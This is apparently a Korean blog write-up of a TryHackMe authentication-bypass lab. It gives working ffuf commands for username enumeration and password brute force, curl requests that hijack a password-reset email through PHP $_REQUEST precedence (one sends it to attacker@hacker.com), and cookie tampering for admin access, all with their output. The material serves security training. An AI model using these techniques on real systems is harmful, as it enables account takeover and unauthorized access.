1. 사용자 이름 열거
인증 취약점을 찾을 때 도움이 되는 작업은 다른 작업에서 사용할 유효한 사용자 이름 리스트를 만드는 일이다.
ffuf(Fuzz Faster U Fool) 도구를 사용하여 시스템에 이미 등록된 유효한 사용자 이름 리스트를 생성할 수 있다.
먼저 해당 사이트에 가짜 사용자 정보를 입력해보자.
An account with this username already exists
라는 오류문구가 표시된다. 이 오류 메세지를 사용하여 ffuf 명령을 완성할 수 있다.
-w
: 랜덤 사용자 이름 목록이 포함된 컴퓨터의 파일 위치
-X
: 요청방법을 지정(default: GET)
-d
: 보내려고 하는 데이터. username, email, password 필드가 있고 username을 FUZZ로 설정(FUZZ 키워드는 단어 목록이 삽입될 위치
-H
: 헤더
-u
: 요청 url
-mr
: 200 페이지의 텍스트
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.150.98/customers/signup -mr "username already exists"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.150.98/customers/signup
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&email=x&password=x&cpassword=x
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: username already exists
________________________________________________
admin [Status: 200, Size: 3720, Words: 992, Lines: 77]
Admin [Status: 200, Size: 3720, Words: 992, Lines: 77]
robert [Status: 200, Size: 3720, Words: 992, Lines: 77]
steve [Status: 200, Size: 3720, Words: 992, Lines: 77]
simon [Status: 200, Size: 3720, Words: 992, Lines: 77]
Steve [Status: 200, Size: 3720, Words: 992, Lines: 77]
Robert [Status: 200, Size: 3720, Words: 992, Lines: 77]
Simon [Status: 200, Size: 3720, Words: 992, Lines: 77]
:: Progress: [220560/220560] :: Job [1/1] :: 17 req/sec :: Duration: [0:35:56] :: Errors: 0 ::
2. Brute Force
발견한 사용자 이름을 valid_usernames.txt파일에 저장한 뒤 password 단어 리스트도 돌려보자.
-fc
: http 상태코드
┌──(root💀kali)-[~]
└─# ffuf -w valid_usernames.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.150.98/customers/login -fc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.150.98/customers/login
:: Wordlist : W1: valid_usernames.txt
:: Wordlist : W2: /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=W1&password=W2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 200
________________________________________________
[Status: 302, Size: 0, Words: 1, Lines: 1]
* W2: thunder
* W1: steve
[Status: 302, Size: 0, Words: 1, Lines: 1]
* W2: thunder
* W1: Steve
:: Progress: [808/808] :: Job [1/1] :: 134 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
username: Steve / password: thunder 를 구할 수 있었다.
3. Logic Flaw
Logic Flaw(논리결함)는 응용 프로그램의 일반적인 논리 경로가 해커에 의해 우회, 우회 또는 조작되는 경우를 말한다. 논리 결함은 웹 사이트의 모든 영역에 존재할 수 있지만 지금은 인증과 관련된 부분을 다룰 것이다.
논리 결함의 예
if( url.substr(0,6) === '/admin') {
# Code to check user is an admin
} else {
# View Page
}
위의 PHP 코드는 세 개의 등호(===)를 사용하기 때문에 대소문자를 포함하여 문자열에서 정확히 일치하는 항목을 찾는다. /adMin을 요청하는 인증되지 않은 사용자는 권한을 확인하지 않고 페이지를 표시하여 인증확인을 우회하기 때문에 논리 결함이다.
/customers/reset 페이지로 이동하여 데모 이메일(robert@acmeitsupport.thm)을 입력하고 사용자이름으로 robert를 입력한다. 비밀번호 재설정 이메일을 보낸 후 아래의 curl 요청을 실행해보자.
┌──(root💀kali)-[~]
└─# curl 'http://10.10.204.97/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
<!DOCTYPE html>
<html lang="en">
<head>
<title>Acme IT Support - Customer Login</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
<link rel="stylesheet" href="/assets/bootstrap.min.css">
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Acme IT Support</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/news">News</a></li>
<li><a href="/contact">Contact</a></li>
<li class="active"><a href="/customers">Customers</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><div class="container" style="padding-top:60px">
<h1 class="text-center">Acme IT Support</h1>
<h2 class="text-center">Reset Password</h2>
<div class="row">
<div class="col-md-4 col-md-offset-4">
<div class="alert alert-success text-center">
<p>We'll send you a reset email to <strong>robert@acmeitsupport.thm</strong></p>
</div>
</div>
</div>
</div>
<script src="/assets/jquery.min.js"></script>
<script src="/assets/bootstrap.min.js"></script>
<script src="/assets/site.js"></script>
</body>
</html>
<!--
Page Generated in 0.05552 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )
-->
응용 프로그램에서 사용자 계정은 쿼리 문자열을 사용하여 검색되지만 나중에 응용 프로그램 로직에서는 암호 재설정 이메일이 PHP 변수 $_REQUEST에 있는 데이터를 사용하여 전송된다.
PHP $_REQUEST 변수는 쿼리 문자열과 POST 데이터로부터 수신된 데이터를 포함하는 배열이다. 쿼리 문자열과 POST 데이터에 동일한 키 이름이 사용되면 이 변수의 응용 프로그램 로직은 쿼리 문자열보다 POST 데이터 필드를 선호하므로 POST 양식에 다른 매개 변수를 추가하면 암호 재설정 이메일이 전달되는 위치를 제어할 수 있다.
└─# curl 'http://10.10.204.97/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
<!DOCTYPE html>
<html lang="en">
<head>
<title>Acme IT Support - Customer Login</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
<link rel="stylesheet" href="/assets/bootstrap.min.css">
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Acme IT Support</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/news">News</a></li>
<li><a href="/contact">Contact</a></li>
<li class="active"><a href="/customers">Customers</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><div class="container" style="padding-top:60px">
<h1 class="text-center">Acme IT Support</h1>
<h2 class="text-center">Reset Password</h2>
<div class="row">
<div class="col-md-4 col-md-offset-4">
<div class="alert alert-success text-center">
<p>We'll send you a reset email to <strong>attacker@hacker.com</strong></p>
</div>
</div>
</div>
</div>
<script src="/assets/jquery.min.js"></script>
<script src="/assets/bootstrap.min.js"></script>
<script src="/assets/site.js"></script>
</body>
</html>
<!--
Page Generated in 0.03451 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )
-->
attcker@hacker.com로 재설정 이메일을 보낸걸 확인할 수 있다. 하지만 attacker@hacker.com은 접근할 수 없다.
singup 페이지에서 계정을 생성하고 유효한 이메일로 curl 명령을 다시 수행해보자.
┌──(root💀kali)-[~]
└─# curl 'http://10.10.146.23/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=test2@customer.acmeitsupport.thm' 130 ⨯
<!DOCTYPE html>
<html lang="en">
<head>
<title>Acme IT Support - Customer Login</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
<link rel="stylesheet" href="/assets/bootstrap.min.css">
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Acme IT Support</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/news">News</a></li>
<li><a href="/contact">Contact</a></li>
<li class="active"><a href="/customers">Customers</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><div class="container" style="padding-top:60px">
<h1 class="text-center">Acme IT Support</h1>
<h2 class="text-center">Reset Password</h2>
<div class="row">
<div class="col-md-4 col-md-offset-4">
<div class="alert alert-success text-center">
<p>We'll send you a reset email to <strong>test2@customer.acmeitsupport.thm</strong></p>
</div>
</div>
</div>
</div>
<script src="/assets/jquery.min.js"></script>
<script src="/assets/bootstrap.min.js"></script>
<script src="/assets/site.js"></script>
</body>
</html>
<!--
Page Generated in 0.03852 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )
-->
얻은 ticket으로 robert 계정에 접근할 수 있게 되었고 robert의 ticket에서 플래그를 얻을수 있었다.
4. Cookie 변조
온라인 세션동안 웹서버에 설정한 쿠키를 검사하고 편집하면 인증되지 않은 액세스, 다른 사용자의 계정에 대한 액세스 또는 상승된 권한과 같은 여러 결과가 발생할 수 있다.
일반 텍스트
일반 쿠키의 내용은 일반 텍스트로 되어 있을 수 있으므로 그 역할이 명확하다. 예를 들어 성공적인 로그인 후 쿠키가 설정되어 있는 경우:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
사용자가 현재 로그인했는지 여부를 제어하는 것으로 나타나는 하나의 쿠키(logged_in)와 방문자에게 관리자 권한이 있는지 여부를 제어하는 다른 쿠키(admin)가 있다. 이 논리를 사용하여 쿠키의 내용을 변경하고 요청을 하면 권한을 변경할 수 있다.
먼저 target 페이지를 요청해보자.
└─# curl http://10.10.146.23/cookie-test
Not Logged In
로그인 되지 않음.
이제 login_in 쿠키가 true로 설정되고 관리자 쿠키가 false로 설정된 요청을 보내보자.
┌──(root💀kali)-[~]
└─# curl -H "Cookie: logged_in=true; admin=false" http://10.10.146.23/cookie-test
Logged In As A User
마지막으로, login_in 및 admin 쿠키를 모두 true로 설정하는 요청을 보내보자.
┌──(root💀kali)-[~]
└─# curl -H "Cookie: logged_in=true; admin=true" http://10.10.146.23/cookie-test
Logged In As An Admin - THM{COOKIE_TAMPERING}
관리자로 로그인함과 함께 플래그를 얻을 수 있었다.
Hashing
때때로 쿠키 값은 임의의 문자로 구성된 긴 문자열처럼 보일 수 있다. 이것은 원본 텍스트의 되돌릴 수 없는 표현인 해시라고 한다. 다음 접할 수 있는 몇 가지 예를 보자.
원본 문자열 | 해시 메소드 | output |
1 | md5 | c4ca4238a0b923820dcc509a6f75849b |
1 | sha-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
1 | sha-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
1 | sha1 | 356a192b7913b04c54574d18c28d46e6395428ab |
위의 표에서 동일한 입력 문자열의 해시 출력이 사용하는 해시 방법에 따라 크게 다를 수 있음을 알 수 있다. 해시는 되돌릴 수 없지만 매번 동일한 출력이 생성되므로 https://cracksttion.net/ 과 같은 서비스 가 수십억 개의 해시와 원래 문자열 로 구성된 데이터베이스를 유지 하는데 도움이 된다.
Encoding
인코딩은 임의의 텍스트 문자열로 보이는 것을 생성한다는 점에서 해싱과 유사하지만 사실 인코딩은 되돌릴 수 있다. 인코딩을 통해 이진 데이터를 일반 텍스트 ASCII 문자만 지원하는 매체를 통해 쉽고 안전하게 전송할 수 있는 사람이 읽을 수 있는 텍스트로 변환할 수 있다.
일반적인 인코딩 유형은 이진 데이터를 AZ, 2-7 문자로 변환하는 base32와 문자 az, AZ, 0-9,+, /, 패딩을 위한 등호를 사용하여 변환하는 base64이다.
아래 데이터는 로그인 시 웹 서버에서 설정한 예다.
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
디코딩된 이 문자열 base64의 값은 {"id":1,"admin": false}이다. 그런 다음 이를 다시 base64로 인코딩할 수 있지만 대신 admin 값을 true로 설정하면 이제 관리자 액세스 권한이 부여된다.
'네트워크 보안 > 보안' 카테고리의 다른 글
🐋 Docker 환경구축 (0) | 2022.01.15 |
---|---|
vmware에서 wlan0 어댑터 설치하기 (0) | 2022.01.10 |
취약점 (0) | 2021.12.30 |
[Pentesting] Nmap 라이브 호스트 검색 (0) | 2021.12.29 |
Wireshark 🦈 (0) | 2021.12.28 |